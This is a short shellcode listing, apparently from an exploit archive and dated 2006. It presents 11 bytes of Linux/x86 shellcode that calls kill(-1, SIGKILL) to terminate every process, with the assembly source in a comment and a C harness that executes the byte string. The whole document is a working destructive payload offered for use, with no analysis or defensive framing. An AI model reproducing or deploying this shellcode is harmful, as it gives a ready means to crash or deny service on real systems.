11 byte shellcode for Linux/x86 that kills all processes.
7385e922191bbd115ccc17a49a7f27480d8bf2fb4888f053896e3fa0bae94ef8
/* By Kris Katterjohn 11/13/2006
*
* 11 byte shellcode to kill all processes for Linux/x86
*
*
*
* section .text
*
* global _start
*
* _start:
*
* ; kill(-1, SIGKILL)
*
* push byte 37
* pop eax
* push byte -1
* pop ebx
* push byte 9
* pop ecx
* int 0x80
*/
main()
{
char shellcode[] = "\x6a\x25\x58\x6a\xff\x5b\x6a\x09\x59\xcd\x80";
(*(void (*)()) shellcode)();
}